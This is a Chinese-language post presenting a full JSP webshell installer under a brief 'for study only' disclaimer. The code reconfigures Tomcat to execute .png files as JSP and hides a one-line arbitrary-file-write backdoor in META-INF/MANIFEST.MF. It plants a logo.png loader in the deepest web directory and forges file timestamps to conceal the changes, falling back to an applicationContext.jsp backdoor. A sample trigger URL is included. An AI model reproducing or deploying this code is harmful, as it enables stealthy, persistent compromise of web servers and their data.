Server配置加png后缀解析并藏png一句话到最深目录
仅用于学习交流，请勿在任何正式服务器环境上测试否则服务器挂(Resin测试会自动注销)我可不负责。
嘘~我把一句话藏在了/WebRoot/META-INF/MANIFEST.MF 里面。
自动寻找个最深的目录include进MANIFEST.MF里面的一句话。
自动修改文件被篡改的文件的最后修改时间为修改前的时间。
当无权限或异常的情况下自动在最深的目录或web根目录建立一个applicationContext.jsp内容为一句话。
不适合集群负载均衡环境,已取消resin修改。
请求：http://localhost:8080/Struts/test/test02/demos/tabs/ajax/test/dd/33/logo.png?a=1.txt&b=12345
参数a是文件名，b是文件内容。
未经严格测试，请勿用于任何非法尝试，出了问题一律不负责！
code:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
|
<%
@page
import
=
"java.text.SimpleDateFormat"
%>
<%@ page language=
"java"
pageEncoding=
"UTF-8"
%>
<%
@page
import
=
"java.util.*"
%>
<%
@page
import
=
"java.io.*"
%>
<%
@page
import
=
"java.util.regex.*"
%>
<%!
private
static
int
ab;
private
static
String cd;
private
static
final
String mm =
"<%new java.io.RandomAccessFile(application.getRealPath(\"/\")+request.getParameter(\"a\"), \"rw\").write(request.getParameter(\"b\").getBytes());%"
+
">"
;
void
editXml(HttpServletRequest request)
throws
Exception{
File path =
new
File(
""
).getAbsoluteFile();
String encode =
"UTF-8"
;
String serverName = request.getSession().getServletContext().getServerInfo();
int
version =
0
;
Matcher m = Pattern.compile(
"\\d"
,Pattern.CASE_INSENSITIVE).matcher(serverName);
if
(m.find()){
version = Integer.parseInt(m.group());
}
if
(serverName.toLowerCase().contains(
"tomcat"
)){
editTomcatWebXml(path,encode,version);
}
else
if
(serverName.toLowerCase().contains(
"resin"
)){
//editResinAppDefaultXml(path,encode,version);
}
else
{
}
}
String getServerPath(){
String[] str =
new
String[]{
"catalina.home"
,
"resin.home"
,
"jetty.home"
,
"jboss.home"
,
"BEA_HOME"
};
for
(String s:str){
if
(
null
!=System.getProperty(s)&&
new
File(System.getProperty(s)).exists()){
return
System.getProperty(s).replaceAll(
"\\\\"
,
"/"
)+
"/"
;
}
}
String dir = System.getProperty(
"user.dir"
).replaceAll(
"\\\\"
,
"/"
)+
"/"
;
if
(dir.endsWith(
"/bin"
)){
dir = dir.substring(
0
,dir.lastIndexOf(
"/bin"
)-
1
);
}
return
dir;
}
void
editTomcatWebXml(File path,String encode,
int
version)
throws
Exception {
File webXmlPath =
new
File(getServerPath()+File.separator+
"conf"
+File.separator+
"web.xml"
);
String str = readFileToString(webXmlPath,
"UTF-8"
);
String reg =
"<url-pattern>*.png</url-pattern>"
;
if
(str==
null
||!str.contains(reg)){
String key =
"<url-pattern>*.jsp</url-pattern>"
;
writeStringToFile(webXmlPath, str.replace(key, key+
"\r\n"
+
"\t\t\t\t"
+reg), encode,
false
);
}
}
void
editResinAppDefaultXml(File path,String encode,
int
version)
throws
Exception {
if
(version>
3
){
/* File f = new File(getServerPath()+File.separator+"conf"+File.separator+"resin.xml");
String str = readFileToString(f, encode);
writeStringToFile(f, str.replace("classpath:META-INF/caucho/app-default.xml","${resin.home}/conf/app-default.xml"), encode, false);
File c = new File(getServerPath()+File.separator+"conf"+File.separator+"cluster-default.xml");
if(c.exists()){
String content = readFileToString(f, encode);
writeStringToFile(c, content.replace("classpath:META-INF/caucho/app-default.xml","${resin.home}/conf/app-default.xml"), encode, false);
} */
return
;
}
File webXmlPath =
new
File(getServerPath()+File.separator+
"conf"
+File.separator+
"app-default.xml"
);
String str = readFileToString(webXmlPath,
"UTF-8"
);
String reg =
"<servlet-mapping url-pattern=\"*.png\" servlet-name=\"resin-jsp\"/>"
;
String key =
"<servlet-mapping url-pattern=\"*.jsp\" servlet-name=\"resin-jsp\"/>"
;
if
(str==
null
||!str.contains(reg)){
writeStringToFile(webXmlPath, str.replace(key, key+
"\r\n"
+
"\t"
+reg), encode,
false
);
}
}
String readFileToString(File f,String encode)
throws
Exception{
StringBuilder sb =
new
StringBuilder();
String str =
""
;
BufferedReader br =
new
BufferedReader(
new
InputStreamReader(
new
FileInputStream(f),
"UTF-8"
));
while
((str=br.readLine())!=
null
){
sb.append(str+
"\r\n"
);
}
br.close();
return
sb.toString();
}
void
writeStringToFile(File f,String content,String encode,
boolean
append)
throws
Exception{
long
lastModified = !f.exists()?
new
SimpleDateFormat(
"yyyy-mm-dd HH:mm:ss"
).parse(
"2012-03-14 12:43:11"
).getTime():f.lastModified();
StringBuilder sb =
new
StringBuilder();
BufferedWriter bw =
new
BufferedWriter(
new
OutputStreamWriter(
new
FileOutputStream(f,append),
"UTF-8"
));
bw.write(content);
bw.flush();
bw.close();
f.setLastModified(lastModified);
}
void
getDepthPath(File file){
if
(file.isDirectory()) {
int
a = file.toString().split(File.separator).length;
if
(ab<a){
ab = a;
cd = file.toString();
}
String[] files = file.list();
for
(
int
i =
0
; i < files.length; i++) {
getDepthPath(
new
File(file, files[i]));
}
}
}
void
saveFile(HttpServletRequest request,String encode)
throws
Exception{
File path =
new
File(request.getSession().getServletContext().getRealPath(
"/"
)+File.separator+
"META-INF"
+File.separator);
if
(!path.exists()){
path.mkdirs();
}
String str = readFileToString(
new
File(path,
"MANIFEST.MF"
), encode);
if
(str!=
null
||!str.contains(
"RandomAccessFile"
)){
writeStringToFile(
new
File(path,
"MANIFEST.MF"
),
"info:"
+mm,encode,
true
);
}
}
void
naughty(HttpServletRequest request)
throws
Exception{
File path =
new
File(request.getSession().getServletContext().getRealPath(
"/"
));
File[] str = path.listFiles();
for
(File s:str){
if
(s.isDirectory()&&!s.toString().contains(
"WEB-INF"
)&&!s.toString().contains(
"META-INF"
)){
getDepthPath(s);
}
}
File f =
new
File((cd.length()>
0
?cd:path.toString())+File.separator+
"logo.png"
);
String split =
""
;
String[] sb = f.toString().replace(path.toString(),
""
).split(
"/"
);
for
(String q:sb){
split +=
"../"
;
}
writeStringToFile(f,
"<%@ include file=\"/META-INF/MANIFEST.MF\" %"
+
">"
,
"UTF-8"
,
false
);
saveFile(request,
"UTF-8"
);
}
void
oneLove(HttpServletRequest request)
throws
Exception{
editXml(request);
naughty(request);
}
%>
<%
try
{
oneLove(request);
out.println(
"[/ok]<br/>"
+
"[path="
+cd+File.separator+
"logo.png]"
);
}
catch
(Exception e){
out.println(
"[error:"
+e.toString()+
"]"
);
try
{
File ef =
null
;
if
(!
""
.equals(cd)&&
new
File(cd).canWrite()){
ef =
new
File(cd+File.separator+
"applicationContext.jsp"
);
}
else
{
ef =
new
File(application.getRealPath(
"/"
)+File.separator+
"applicationContext.jsp"
);
}
out.println(
"[/ok]<br/>"
+
"[path="
+ef.toString()+
"]"
);
writeStringToFile(ef, mm,
"UTF-8"
,
false
);
}
catch
(Exception x){
out.println(
"[error:"
+x.toString()+
"]"
);
}
}
%>
|